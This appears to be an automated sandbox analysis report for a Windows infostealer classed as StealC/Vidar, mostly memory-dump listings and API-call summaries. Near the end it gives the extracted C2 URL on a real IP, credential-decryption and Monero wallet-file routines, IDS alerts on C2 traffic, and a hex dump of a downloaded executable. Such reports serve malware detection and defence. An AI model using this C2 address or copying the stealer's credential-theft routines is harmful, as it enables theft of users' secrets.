Associated: 00000000.00000002.2053331549.0000000001052000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001071000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000107D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001165000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001185000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000118B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000120A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.000000000121E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000013A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.0000000001489000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000014AC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000014B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000014C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2054064036.00000000014C3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2054166468.0000000001663000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fc0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateProcesslstrcpywsprintf
String ID: %dx%d
API String ID: 1695172769-2206825331
Opcode ID: 94c1d4233c5010942d5b459386b2c3bf3402ca28d11af1667d4bdd317d927bdb
Instruction ID: ac4fa4ecafa10109644782ca3b8e19b3e7be491bae00e414747eb93fba502197
Opcode Fuzzy Hash: 94c1d4233c5010942d5b459386b2c3bf3402ca28d11af1667d4bdd317d927bdb
Instruction Fuzzy Hash: 47214FB1A40308AFDB14DF94ED49FAEBBB9FB48701F504219F605A7285C779A901CBA1

Function 00FD8D50 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 20memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,000000FA,?,?,00FD951E,00000000), ref: 00FD8D5B
RtlAllocateHeap.NTDLL(00000000), ref: 00FD8D62
wsprintfW.USER32 ref: 00FD8D78

Strings

%hs, xrefs: 00FD8D6F

Memory Dump Source

Source File: 00000000.00000002.2053331549.0000000000FC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FC0000, based on PE: true

Associated: 00000000.00000002.2053294860.0000000000FC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000101A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001045000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001048000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000104F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001052000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001071000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000107D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001165000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001185000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000118B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000120A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.000000000121E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000013A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.0000000001489000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000014AC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000014B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000014C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2054064036.00000000014C3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2054166468.0000000001663000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fc0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateProcesswsprintf
String ID: %hs
API String ID: 769748085-2783943728
Opcode ID: cb9d5e15707ea59c7f95bb4e3a4bbe1eff9098b501ae376753acab6d50faf672
Instruction ID: 054934872717f2bd6e43a2a5aa8f0f105ff00401b0c4537ee5ab8b9a3f177083
Opcode Fuzzy Hash: cb9d5e15707ea59c7f95bb4e3a4bbe1eff9098b501ae376753acab6d50faf672
Instruction Fuzzy Hash: 15E08CB0A40308BBD720DBA4E80EE6D77B8EB04702F004298FD0A87281DA719F009B91

Function 00FCD400 Relevance: 6.3, APIs: 4, Instructions: 252filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 00FDA740: lstrcpy.KERNEL32(00FE0E17,00000000), ref: 00FDA788

Part of subcall function 00FDA9B0: lstrlen.KERNEL32(?,007B8F98,?,\Monero\wallet.keys,00FE0E17), ref: 00FDA9C5
Part of subcall function 00FDA9B0: lstrcpy.KERNEL32(00000000), ref: 00FDAA04
Part of subcall function 00FDA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00FDAA12

Part of subcall function 00FDA8A0: lstrcpy.KERNEL32(?,00FE0E17), ref: 00FDA905

Part of subcall function 00FD8B60: GetSystemTime.KERNEL32(00FE0E1A,007BA5D0,00FE05AE,?,?,00FC13F9,?,0000001A,00FE0E1A,00000000,?,007B8F98,?,\Monero\wallet.keys,00FE0E17), ref: 00FD8B86

Part of subcall function 00FDA920: lstrcpy.KERNEL32(00000000,?), ref: 00FDA972
Part of subcall function 00FDA920: lstrcat.KERNEL32(00000000), ref: 00FDA982

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 00FCD481
lstrlen.KERNEL32(00000000), ref: 00FCD698
lstrlen.KERNEL32(00000000), ref: 00FCD6AC
DeleteFileA.KERNEL32(00000000), ref: 00FCD72B

Memory Dump Source

Source File: 00000000.00000002.2053331549.0000000000FC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FC0000, based on PE: true

Associated: 00000000.00000002.2053294860.0000000000FC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000101A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001045000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001048000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000104F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001052000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001071000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000107D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001165000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001185000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000118B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000120A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.000000000121E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000013A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.0000000001489000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000014AC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000014B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000014C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2054064036.00000000014C3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2054166468.0000000001663000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fc0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$Filelstrcat$CopyDeleteSystemTime
String ID:
API String ID: 211194620-0
Opcode ID: c8ed3efbe51376c53aa785fe0f460786e4afd6c9dc4878b0c3669df8d95244a0
Instruction ID: c1886f8f625a959d2345caaf004baebdefd7a591e1a2c3fc90fb9dbf0a9f7021
Opcode Fuzzy Hash: c8ed3efbe51376c53aa785fe0f460786e4afd6c9dc4878b0c3669df8d95244a0
Instruction Fuzzy Hash: 1D9147718101489BDB14FBA0DC96EEE7339AF54300F54416AF517B3192EF386A09FB6A

Function 00FD3560 Relevance: 6.1, APIs: 4, Instructions: 124COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2053331549.0000000000FC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FC0000, based on PE: true

Associated: 00000000.00000002.2053294860.0000000000FC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000101A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001045000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001048000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000104F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001052000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001071000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000107D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001165000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001185000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000118B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000120A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.000000000121E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000013A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.0000000001489000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000014AC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000014B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000014C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2054064036.00000000014C3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2054166468.0000000001663000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fc0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen
String ID:
API String ID: 367037083-0
Opcode ID: 10a840281f7d52bc44b3457573c49e2e598fa204c4f5ce2d48713ae30e994d14
Instruction ID: 42ec6ab189aeb2385453191cca1ab359ce7f4b53bfebe942a50ad7c95de807c8
Opcode Fuzzy Hash: 10a840281f7d52bc44b3457573c49e2e598fa204c4f5ce2d48713ae30e994d14
Instruction Fuzzy Hash: C9416F71D10248ABCB04EFA4DC45EEEB775EF44304F088119E51677380EB78AA45EFA6

Function 00FD94D0 Relevance: 6.1, APIs: 4, Instructions: 89COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00FD94EB

Part of subcall function 00FD8D50: GetProcessHeap.KERNEL32(00000000,000000FA,?,?,00FD951E,00000000), ref: 00FD8D5B
Part of subcall function 00FD8D50: RtlAllocateHeap.NTDLL(00000000), ref: 00FD8D62
Part of subcall function 00FD8D50: wsprintfW.USER32 ref: 00FD8D78

OpenProcess.KERNEL32(00001001,00000000,?), ref: 00FD95AB
TerminateProcess.KERNEL32(00000000,00000000), ref: 00FD95C9
CloseHandle.KERNEL32(00000000), ref: 00FD95D6

Memory Dump Source

Source File: 00000000.00000002.2053331549.0000000000FC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FC0000, based on PE: true

Associated: 00000000.00000002.2053294860.0000000000FC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000101A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001045000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001048000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000104F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001052000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001071000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000107D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001165000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001185000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000118B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000120A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.000000000121E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000013A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.0000000001489000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000014AC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000014B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000014C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2054064036.00000000014C3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2054166468.0000000001663000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fc0000_file.jbxd

Yara matches

Similarity

API ID: Process$Heap$AllocateCloseHandleOpenTerminatememsetwsprintf
String ID:
API String ID: 3729781310-0
Opcode ID: e6605a6b535d12f76750678c0d732405a5ad94e7993d365b3dea33799a7f07b5
Instruction ID: 2a4eb88e32d40d48f3f7b7d8822320471166478d4c7c1c8d93d4ed89516cc070
Opcode Fuzzy Hash: e6605a6b535d12f76750678c0d732405a5ad94e7993d365b3dea33799a7f07b5
Instruction Fuzzy Hash: 33315C71E003089FDF15DBE0DC49BEDB7B9EB44300F14455AE506AB288DBB8AA89DB51

Function 00FD92E0 Relevance: 6.0, APIs: 4, Instructions: 39fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(00FD3AEE,80000000,00000003,00000000,00000003,00000080,00000000,?,00FD3AEE,?), ref: 00FD92FC
GetFileSizeEx.KERNEL32(000000FF,00FD3AEE), ref: 00FD9319
CloseHandle.KERNEL32(000000FF), ref: 00FD9327

Memory Dump Source

Source File: 00000000.00000002.2053331549.0000000000FC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FC0000, based on PE: true

Associated: 00000000.00000002.2053294860.0000000000FC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000101A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001045000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001048000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000104F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001052000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001071000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000107D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001165000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001185000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000118B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000120A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.000000000121E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000013A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.0000000001489000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000014AC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000014B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000014C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2054064036.00000000014C3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2054166468.0000000001663000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fc0000_file.jbxd

Yara matches

Similarity

API ID: File$CloseCreateHandleSize
String ID:
API String ID: 1378416451-0
Opcode ID: cca102c77da18efea70fa4ec2d4dba5c216ce15cb3baabde8fea510de0d5454f
Instruction ID: 0adb0eff5de9ba266e102594bac8b5439bdf9c6900345f1e8eb1dbd524e093b3
Opcode Fuzzy Hash: cca102c77da18efea70fa4ec2d4dba5c216ce15cb3baabde8fea510de0d5454f
Instruction Fuzzy Hash: C7F04F35E44308BBDB24DFF0EC49F9E77BAAB48720F50C254B651A72C4D6B096019B40

Function 00FDC742 Relevance: 6.0, APIs: 4, Instructions: 34COMMONLIBRARYCODE

Download Yara Rule

APIs

__getptd.LIBCMT ref: 00FDC74E

Part of subcall function 00FDBF9F: __amsg_exit.LIBCMT ref: 00FDBFAF

__getptd.LIBCMT ref: 00FDC765
__amsg_exit.LIBCMT ref: 00FDC773
__updatetlocinfoEx_nolock.LIBCMT ref: 00FDC797

Memory Dump Source

Source File: 00000000.00000002.2053331549.0000000000FC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FC0000, based on PE: true

Associated: 00000000.00000002.2053294860.0000000000FC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000101A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001045000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001048000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000104F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001052000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001071000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000107D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001165000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001185000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000118B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000120A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.000000000121E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000013A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.0000000001489000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000014AC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000014B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000014C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2054064036.00000000014C3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2054166468.0000000001663000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fc0000_file.jbxd

Yara matches

Similarity

API ID: __amsg_exit__getptd$Ex_nolock__updatetlocinfo
String ID:
API String ID: 300741435-0
Opcode ID: e4bdaf008b2f05d0dcba9402aee05ab0f6955fdf3f5cdbb1856915c692ff026a
Instruction ID: d9f85fbed0216ec601b2781976ca22a8a5a2e544687c8373c249bf58cacb83cd
Opcode Fuzzy Hash: e4bdaf008b2f05d0dcba9402aee05ab0f6955fdf3f5cdbb1856915c692ff026a
Instruction Fuzzy Hash: 60F04932D043069ADB21BFB89C4674A37A26F00721F2D414BF414AA3D2DB685941FE96

Source: 0.2.file.exe.fc0000.0.unpack	Malware Configuration Extractor: StealC {"C2 url": "http://185.215.113.206/e2b1563c6670f193.php", "Botnet": "puma"}
Source: 0.2.file.exe.fc0000.0.unpack	Malware Configuration Extractor: Vidar {"C2 url": "http://185.215.113.206/e2b1563c6670f193.php", "Botnet": "puma"}

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00FC9B60 CryptUnprotectData,LocalAlloc,LocalFree,	0_2_00FC9B60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00FCC820 lstrlen,CryptStringToBinaryA,PK11_GetInternalKeySlot,PK11_Authenticate,PK11SDR_Decrypt,lstrcat,lstrcat,PK11_FreeSlot,lstrcat,	0_2_00FCC820
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00FC9AC0 CryptStringToBinaryA,LocalAlloc,CryptStringToBinaryA,LocalFree,	0_2_00FC9AC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00FC7240 GetProcessHeap,RtlAllocateHeap,CryptUnprotectData,WideCharToMultiByte,LocalFree,	0_2_00FC7240
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00FD8EA0 CryptBinaryToStringA,GetProcessHeap,RtlAllocateHeap,CryptBinaryToStringA,	0_2_00FD8EA0

Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.4:49730 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044244 - Severity 1 - ET MALWARE Win32/Stealc Requesting browsers Config from C2 : 192.168.2.4:49730 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044245 - Severity 1 - ET MALWARE Win32/Stealc Active C2 Responding with browsers Config : 185.215.113.206:80 -> 192.168.2.4:49730
Source: Network traffic	Suricata IDS: 2044246 - Severity 1 - ET MALWARE Win32/Stealc Requesting plugins Config from C2 : 192.168.2.4:49730 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044247 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config : 185.215.113.206:80 -> 192.168.2.4:49730
Source: Network traffic	Suricata IDS: 2044248 - Severity 1 - ET MALWARE Win32/Stealc Submitting System Information to C2 : 192.168.2.4:49730 -> 185.215.113.206:80

Source: Malware configuration extractor	URLs: http://185.215.113.206/e2b1563c6670f193.php
Source: Malware configuration extractor	URLs: http://185.215.113.206/e2b1563c6670f193.php

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Sun, 27 Oct 2024 11:13:14 GMTServer: Apache/2.4.52 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 11:30:30 GMTETag: "10e436-5e7ec6832a180"Accept-Ranges: bytesContent-Length: 1106998Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c 02 0d 00 d0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 84 25 0b 00 00 10 00 00 00 26 0b 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 50 60 2e 64 61 74 61 00 00 00 7c 27 00 00 00 40 0b 00 00 28 00 00 00 2c 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 c0 2e 72 64 61 74 61 00 00 70 44 01 00 00 70 0b 00 00 46 01 00 00 54 0b 00 00 00 00 00 00 00 